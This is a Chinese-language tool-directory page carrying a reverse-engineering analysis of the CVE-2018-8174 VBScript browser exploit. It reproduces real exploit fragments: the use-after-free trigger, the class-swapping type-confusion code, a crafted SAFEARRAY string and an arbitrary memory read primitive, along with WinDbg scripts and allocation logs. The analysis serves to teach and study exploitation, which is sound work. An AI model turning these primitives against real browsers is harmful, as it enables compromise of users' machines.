Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2018-8174_analysis — VBS 漏洞利用 CVE-2018-8174 分析 | Kitploit
工具/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
内存取证漏洞分析漏洞利用逆向工程学习与教育二进制利用
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

VBS 漏洞利用 CVE-2018-8174 分析

查看仓库
3014198年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

剖析现代浏览器漏洞利用:CVE-2018-8174 案例分析

概述

当这个漏洞利用在四月和五月之交刚刚出现时,它引起了我的兴趣,因为尽管混淆程度很高,代码结构却显得井井有条,而且漏洞利用代码足够短小,使分析变得更加简单。我下载了 GitHub 上的 POC,并认为它是深入剖析的好候选。当时已经有两篇分析发布,一篇来自 360,另一篇来自 卡巴斯基。它们都帮助我理解了其工作原理,但还不足以让我深入了解该漏洞利用的每一个方面。因此我决定自己进行分析并分享我的发现。

预处理

首先,为了去除整数混淆,我在 Python 脚本中使用了正则表达式替换:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

至于混淆的名称,我在分析过程中逐步对其进行了重命名。建议在阅读本分析时对照源代码,文末附有链接。

释放后使用

当对象被终止并调用自定义函数 Class_Terminate() 时,漏洞便会出现。在该函数中,对被释放对象的引用被保存在 UafArray 中。从此以后,UafArray(i) 便指向已删除的对象。

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

还要注意 Class_Terminate() 中的最后一行。当我们将 ClassTerminate 对象复制到 UafArray 时,其引用计数会增加。为了平衡这一点,我们通过向 FreedObjectArray 赋其他值来再次释放它。如果没有这一步,即使对其调用 Class_Terminate,对象的内存也不会被释放,下一个对象也就无法在其位置被分配。

VBScriptClass::Release method

创建和删除新对象的操作在循环中重复 7 次,之后会创建一个 ReuseClass 类的新对象。它被分配在之前由 7 个 ClassTerminate 实例占用的同一块内存中。

为了更好地理解这一点,下面是一个简单的 WinDbg 脚本,用于跟踪所有这些分配:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

以下是 UafTrigger 函数的分配日志:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

我们可以立即看到,ReuseClass 确实被分配在先前 7 个 ClassTerminate 实例所占用的同一块内存中。

这一过程重复了两次。我们最终得到两个由 UafArrays 引用的对象。这些引用均未反映在对象的引用计数中。

在这个日志中我们还可以注意到,即使在调用 Class_Terminate 之后,仍有一些对象操作会改变其引用计数。

这就是为什么如果我们不在 Class_Terminate 中平衡该计数器,就会得到类似下面的结果:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

分配地址不同。漏洞利用将无法创建_释放后使用_条件。

类型混淆

在创建了这两个对象并各自拥有 7 个未计入的引用之后,我们便建立了任意内存读取原语。

有两个相似的类 ReuseClass 和 FakeReuseClass。用后者替换前者会导致 mem 成员上发生类型混淆。

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

在 SetProp 函数中,ReuseClass.mem 被保存,并调用类 ReplacingClass_* 的 Default Property Get,该调用的结果将被放入 ReuseClass.mem。

Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

在该 getter 内部,通过将每个元素赋值为 0 来清空 UafArray。这会导致对 UafArray 所引用的 ReuseClass 对象调用 VBScriptClass::Release。结果表明,在此执行阶段,ReuseClass 对象的引用计数等于 7,由于我们调用了 7 次 Release,该对象被释放。而且因为这些引用来自_释放后使用_情形,它们并未计入引用计数。

在 ReuseClass 的位置上分配了一个新的 FakeReuseClass 对象。现在为了让其引用计数等于 7,就像 ReuseClass 那样,我们将其赋值给 UafArray 7 次。

以下是此操作前后的内存布局。

Replacing ReuseClass with FakeReuseClass

Diagram for VBScript objects

完成此操作后,getter 函数将返回一个值,该值会被赋给旧的 ReuseClass::mem 变量。从内存转储中可以看出,旧值位于新值之前 0xC 字节处。这些对象是经过特殊构造才造成这种情况的,例如通过选择合适的函数名长度。现在,写入 ReuseClass::mem 的值将覆盖 FakeReuseClass::mem 的头部,从而造成_类型混淆_情形。

Type confusion on mem member

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

最后一行将字符串 FakeArrayString 赋值给 objectImitatingArray.mem。此时头部的值为 VT_BSTR

Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

这个值将 objectImitatingArray.mem 的类型覆盖为 VT_ARRAY | VT_VARIANT,现在指向字符串的指针将被解释为指向 SAFEARRAY 结构的指针。

任意内存读取

最终结果是,我们得到两个 FakeReuseClass 对象。其中一个对象的 mem 成员数组可寻址整个用户空间(0x00000000 - 0x7fffffff),另一个对象的成员类型为 VT_I4(4 字节整数),其指针指向一个空的 16 字节字符串。利用第二个对象,可以泄漏出字符串指针:

some_memory=resueObjectB_int.mem
下载工具